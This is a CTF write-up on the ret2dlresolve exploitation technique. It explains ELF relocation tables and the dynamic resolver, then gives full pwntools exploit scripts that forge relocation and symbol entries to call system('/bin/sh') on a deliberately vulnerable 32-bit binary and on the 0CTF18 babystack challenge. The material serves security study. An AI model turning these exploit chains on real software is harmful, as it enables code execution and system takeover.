ret2dlresolve === Release date: `Sunday, July 31, 2022` ___ Elf file uses to relocation dynamically linked functions. It is the core of ret2dlresolve attack: `_dl_runtime_resolve(link_map, reloc_offset)`. - 3 things u must notice are used in resolve symbol address: - relocation table `.rel.plt` - dynamic symbol tables`.dynsym` - dynamic string tables `.dynstr` ## approach method ### Idea1: Direct control over the content of the `.rel.plt` items Because of resolve process according to the name of the symbol. Therefore, by changing the string corresponding to a function in the string table to the string corresponding to the target function. Howerver, `.dynstr` and code are mapped together are **read-only**, similarly with `.dynsym` and `.rel.plt`. However, if we can control the flow of program execution, then we can **forge** a suitable relocation offset. (This approach is cubersome) ### Idea2: Indirectly control the content of `.rel.plt` items If we can modify the content in dynamic section, it is naturally easy to control the string corresponding to the symbol to be parsed. ### Idea3: Forge `link-map` Dynamic connectors primarily rely on `link_map` to query related addresses when resolving symbolic addresses. ## x86 ### No RELRO > main.c ```c #include <stdio.h> #include <string.h> #include <unistd.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; } ``` > gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32 > Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 1. Modify the addr of string table in the `.dynamic` section to a fake addr. ```bash readelf -S ./elf_norelro_32 [20] .dynamic DYNAMIC 0804b10c ``` ![](https://raw.githubusercontent.com/vietd0x/ctf-writeups/main/blogImgs/ret2dl/dynamicInfo.png) 2. Construct a string table at the fake address, and replace the `read/gets... (corresponding function)` string with the system string. 3. Read the `/bin/sh` string at a specific location. ![](https://raw.githubusercontent.com/vietd0x/ctf-writeups/main/blogImgs/ret2dl/specificLocation.png) - Choose forged .dynstr location = 0x804b500 4. Calling the `read/gets... (corresponding function)` `_dl_runtime_resolve` triggers function parsing. #### Solution ```python rop = ROP(context.binary) offset = 112 rop.raw(offset*b'A') rop.read(0,0x804B14C+4,4) # modify .dynstr pointer in .dynamic section to a specific location # copy dynstr the replace "read" string dynstr = elf.get_section_by_name('.dynstr').data() dynstr = dynstr.replace(b"read",b"system") rop.read(0,0x804b500,len((dynstr))) # construct a fake dynstr section rop.read(0,0x804b500+0x100,len(b"/bin/sh\x00")) # read /bin/sh\x00 rop.raw(0x8049066) # the second instruction of read@plt: ''' 0x8049060 <read@plt+0> jmp DWORD PTR ds:0x804b214 0x8049066 <read@plt+6> push 0x10 0x804906b <read@plt+11> jmp 0x8049030 ''' rop.raw(0xdeadbeef) # The return address after call system rop.raw(0x804b500+0x100) # arg - /bin/sh # print(rop.dump()) assert(len(rop.chain())<=256) rop.raw(b"a"*(256-len(rop.chain()))) io = start() io.recvuntil(b'Welcome to XDCTF2015~!\n') io.send(rop.chain()) io.send(p32(0x804b500)) io.send(dynstr) io.send(b"/bin/sh\x00") io.interactive() ``` ### Partial RELRO 0CTF18 [file](https://github.com/vietd0x/ctf-writeups/raw/main/babystack.tar.gz) ```r Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` Because of Partial RELRO, `.dynamic` section has **read-only** perm ![](https://raw.githubusercontent.com/vietd0x/ctf-writeups/main/blogImgs/ret2dl/dynamicPartialrelro.png) ```c int vuln() { char buf[40]; // [esp+0h] [ebp-28h] BYREF return read(0, buf, 64u); } ``` obviously, it’s a trivial bof, but we don’t have any emit funcs to leak. No libc provided, so no offset calculation possible. #### JMPREL (.rel.plt) Stores a table called `Relocation table`. Each entry maps to a symbol. ```c typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct{ Elf32_Addr r_offset ; /* Address */ Elf32_Word r_info ; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) ``` The type of these entries is `Elf32_Rel`, which is defined as it follows. The size of one entry is **8** bytes. ```bash $ readelf -r babystack Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entry: Offset Info Type Sym.Value Sym. Name 08049ffc 00000306 R_386_GLOB_DAT 00000000 __gmon_start__ Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries: Offset Info Type Sym.Value Sym. Name 0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0 0804a010 00000207 R_386_JUMP_SLOT 00000000 alarm@GLIBC_2.0 0804a014 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 ``` Let's take a look at our table: - The column Name gives the name of our symbol: `read@GLIBC_2.0`; - Offset is the address of the GOT entry for the symbol: `0x0804a00c`; - Info stores additional metadata such as `ELF32_R_SYM` or `ELF32_R_TYPE`; According to the defined MACROS, `ELF32_R_SYM(r_info) == 1` and `ELF32_R_TYPE(r_info) == 7 (R_386_JUMP_SLOT)`. Keep in mind that `R_SYM` is 1, we will use it later. #### STRTAB (.dynstr) STRTAB is a simple table that stores the strings for symbols name. ```r 0x804822C ; ELF String Table 0x804822C byte_804822C db 0 0x804822D aLibcSo6 db 'libc.so.6',0 0x8048237 aIoStdinUsed db '_IO_stdin_used',0 0x8048246 aRead db 'read',0 0x804824B aAlarm db 'alarm',0 0x8048251 aLibcStartMain db '__libc_start_main',0 0x8048263 aGmonStart db '__gmon_start__',0 0x8048272 aGlibc20 db 'GLIBC_2.0',0 ``` #### SYMTAB (.dynsym) This table holds relevant symbol information. Each entry is a `Elf32_Sym` structure and its size is `16` bytes. ```c typedef struct { Elf32_Word st_name ; /* Symbol name (string tbl index) -4b*/ Elf32_Addr st_value ; /* Symbol value -4b*/ Elf32_Word st_size ; /* Symbol size -4b*/ unsigned char st_info ; /* Symbol type and binding-1b */ unsigned char st_other ; /* Symbol visibility under glibc>=2.2 -1b */ Elf32_Section st_shndx ; /* Section index -2b*/ } Elf32_Sym; ``` The first field, `st_name`, gives the offset in `STRTAB` where the name of the symbol begins. The other fields of this structure are not used in the exploit, so I will ignore them. The `ELF32_R_SYM(r_info) == 1` variable (which we got from the JMPREL table) gives the **index** of the `Elf32_Sym` in SYMTAB for the specified symbol. In this particular case, index is `1`. Let's analyze this entry. ```r > x/4wx 0x80481cc + (1*16) # SYMTAB+(index + sizeof(entry) # where index = ELF32_R_SYM(r_info) 0x80481dc: 0x0000001a 0x00000000 0x00000000 0x00000012 > x/s 0x804822c + 0x1a # STRTAB + st_name 0x8048246: "read" # addr and its symbol name respectively ``` Adding the first `dword` from elf32_sym to STRTAB gives the address of the symbol name. #### _dl_runtime_resolve ```r pwndbg> x/3i 0x8048300 # read@plt 0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c # read@got.plt 0x8048306 <read@plt+6>: push 0x0 # reloc_arg 0x804830b <read@plt+11>: jmp 0x80482f0 pwndbg> x/wx 0x804a00c 0x804a00c <read@got.plt>: 0x08048306 # not resolved, points back to .plt pwndbg> x/2i 0x80482f0 # plt default stub 0x80482f0: push DWORD PTR ds:0x804a004 # push link_map 0x80482f6: jmp DWORD PTR ds:0x804a008 # jmp _dl_runtime_resolve pwndbg> x/wx 0x804a008 0x804a008: 0xf7fe7b10 # _dl_runtime_resolve pwndbg> x/12i 0xf7fe7b10 0xf7fe7b10: endbr32 0xf7fe7b14: push eax 0xf7fe7b15: push ecx 0xf7fe7b16: push edx 0xf7fe7b17: mov edx,DWORD PTR [esp+0x10] 0xf7fe7b1b: mov eax,DWORD PTR [esp+0xc] 0xf7fe7b1f: call 0xf7fe17d0 # _dl_fixup 0xf7fe7b24: pop edx 0xf7fe7b25: mov ecx,DWORD PTR [esp] 0xf7fe7b28: mov DWORD PTR [esp],eax 0xf7fe7b2b: mov eax,DWORD PTR [esp+0x4] 0xf7fe7b2f: ret 0xc ``` 1. after `call read@plt` , the program read GOT val frrom (0x804a00c) and jmp back into PLT section. 2. push the parameter 0x0 (`relog_arg`/`rel_offset`) to stack. 3. Push extra parameter (`link_map`) and jmps to resolver. The process specified above is equivalent to the following function call: `_dl_runtime_resolve (link_map , rel_offset`/`relog_arg)` The `rel_offset` gives the offset of the `Elf32_Rel` in JMPREL table. `Link_map` (0x804a004) is nothing but a list with all the loaded libraries. `_dl_runtime_resolve` uses this list to resolve the symbol. After relocating the symbol and its entry in SYMTAB populated, the initial call of read will be invoked. The pseudocode below summarize the process described until now: ```c // call of unresolved read(0, buf, 0x100) _dl_runtime_resolve(link_map, rel_offset) { Elf32_Rel * rel_entry = JMPREL + rel_offset ; Elf32_Sym * sym_entry = &SYMTAB[ELF32_R_SYM(rel_entry->r_info)]; char * sym_name = STRTAB + sym_entry->st_name ; _search_for_symbol_(link_map, sym_name); // invoke initial read call now that symbol is resolved read(0, buf, 0x100); } ``` ``` _dl_runtime_resolve(link_map, rel_offset) + +-----------+ | | Elf32_Rel | <--------------+ +-----------+ +--+ | r_offset | +-----------+ | | r_info | +----> | Elf32_Sym | | +-----------+ +-----------+ +----------+ | .rel.plt | st_name | +--> | system\0 | | | | +----------+ v +-----------+ .dynstr +----+-----+ .dynsym | <system> | +----------+ .got.plt ``` - fake `Elf32_Rel` - `r_offset` writable (after resolving symbol write the actual address of function) - `r_info` high 24 bits - `(r_info >> 8) * 16` point to fake `Elf32_Sym` (16 is size of `Elf32_Sym`) - `r_info` low 8 bits - must be `0x07` (R_386_JMP_SLOT) - fake `Elf32_Sym` - `.dynstr + st_name` point to `system` string Read the fake `Elf32_Rel`、`Elf32_Sym` structures and ret2main to call `_dl_runtime_resolve`. - use `plt0` ```c Disassembly of section .plt: 080482f0 <read@plt-0x10>: // plt0 80482f0: push DWORD PTR ds:0x804a04// push link_map 80482f6: jmp DWORD PTR ds:0x804a008 // jmp _dl_runtime_resolve ``` We can calculate the `reloc_arg` to make `.rel.plt + reloc_arg` point to our fake structures and jump to `plt0`, let it resolve symbol to `system`. After resolving the symbol, `_dl_runtime_resolve` will call the function. #### Poc ```python= #!/usr/bin/env python3 from pwn import * def start(argv=[], *a, **kw): return process([exe] + argv, *a, **kw) exe = './babystack' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'info' # push link_map & call dl_resolve PLT0 = elf.get_section_by_name(".plt")["sh_addr"] BSS = elf.get_section_by_name(".bss")["sh_addr"] STRTAB, SYMTAB, JMPREL = map(elf.dynamic_value_by_tag,["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"]) vuln = 0x804843b io = start() payload2_size = 44 #____STATE 1: call read(0, bss, size), then ret to vuln________ payload1 = flat({ 44: [ elf.sym.read, vuln, # After the read call, return to vuln 0, # stdin BSS, # place to write forge .rel.plt and .dynsym payload2_size, ] }) io.send(payload1) #____STATE 2: Set up forge area in BSS section_________________ dynsym_idx = ((BSS + (0x4*3)) - SYMTAB) // 0x10 r_info = (dynsym_idx << 8) | 0x7 # Calculate the offset from the start of dynstr section # to our dynstr entry dynstr_offset = (BSS + (0x4*7)) - STRTAB payload2 = flat({ 0: [ # .rel.plt elf.got.alarm, # r_offset r_info, # r_info 0, # r_addend # .dynsym dynstr_offset, # st_name p32(0)*3, # other b'system\x00\x00', b'/bin/sh\x00', ] }) io.send(payload2) #____STATE 3: call PLT0 (resolver) = system('/bin/sh')_________ binsh_addr = BSS + 12 + 16 + 8 # Calculate the .rel.plt offset rel_plt_offset = BSS - JMPREL payload3 = flat({ 44:[ PLT0, # calling the functions for resolving rel_plt_offset, # .rel.plt offset 0xdeadbeef, # The return address after resolving binsh_addr, # argument ] }) ''' mov edx, dword ptr[esp+0x10] ; edx = rel_plt_offset mov eax, dword prt[esp+0xc] ; call _dl_fixup ''' io.send(payload3) io.interactive() ``` ### Refs: [link1](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) [link2](https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62) ## x64 ### Partial Relro: Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) JMPREL (.rela.plt): It contains information used by the linker to perform relocations. It’s composed by 24 aligned Elf64_Rel structures. - r_offset: the location where the address of the resolved symbol will be stored (In the GOT). - r_info: Indicates the relocation type and acts as a symbol table index. It will be used to locate the corresponding Elf64_Sym structure in the DYNSYM section. ```c typedef struct { Elf64_Addr r_offset; /* 64 bit - Address */ Elf64_Xword r_info; /* 64 bit - Relocation type and symbol index */ Elf64_Sxword r_addend; /* 64 bit - Addend */ } Elf64_Rela; // 24 bytes /* How to extract and insert information held in the r_info field.*/ #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type)) ``` According IDA, the offset of the write function in the symbol table is 2 (0x200000007h>>32). ``` LOAD:04005C0 ; ELF JMPREL Relocation Table LOAD:04005C0 Elf64_Rela <404018h, 200000007h, 0> ; R_X86_64_JUMP_SLOT write LOAD:04005D8 Elf64_Rela <404020h, 300000007h, 0> ; R_X86_64_JUMP_SLOT strlen LOAD:04005F0 Elf64_Rela <404028h, 400000007h, 0> ; R_X86_64_JUMP_SLOT setbuf LOAD:0400608 Elf64_Rela <404030h, 500000007h, 0> ; R_X86_64_JUMP_SLOT read ``` DYNSYM (.dynsym): Contains a symbol table. It’s composed by 0x18 aligned Elf64_Sym structures. Every structure associates a symbolic name with a piece of code elsewhere in the binary. ```c typedef struct { Elf64_Word st_name; /* 32bit - Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* 16 bits - Section index */ Elf64_Addr st_value; /* 64 bits - Symbol value */ Elf64_Xword st_size; /* 64 bits - Symbol size */ } Elf64_Sym; // 24 bytes ``` - st_name: It acts as a string table index. It will be used to locate the right string in the STRTAB section. - st_info: symbol’s type and binding attributes. - st_other: symbol’s visibility. - st_shndx: the relevant section header table index. - st_value: the value of the associated symbol. - st_size: the symbol’s size. If the symbol has no size or the size is unknown, it contains 0. ``` LOAD:04003D8 ; ELF Symbol Table LOAD:04003D8 Elf64_Sym <0> LOAD:04003F0 Elf64_Sym <offset aLibcStartMain - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "__libc_start_main" LOAD:0400408 Elf64_Sym <offset aWrite - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "write" LOAD:0400420 Elf64_Sym <offset aStrlen - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "strlen" LOAD:0400438 Elf64_Sym <offset aSetbuf - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "setbuf" LOAD:0400450 Elf64_Sym <offset aRead - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "read" ``` ## Reference: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/ ###### tags: `research` `pwn`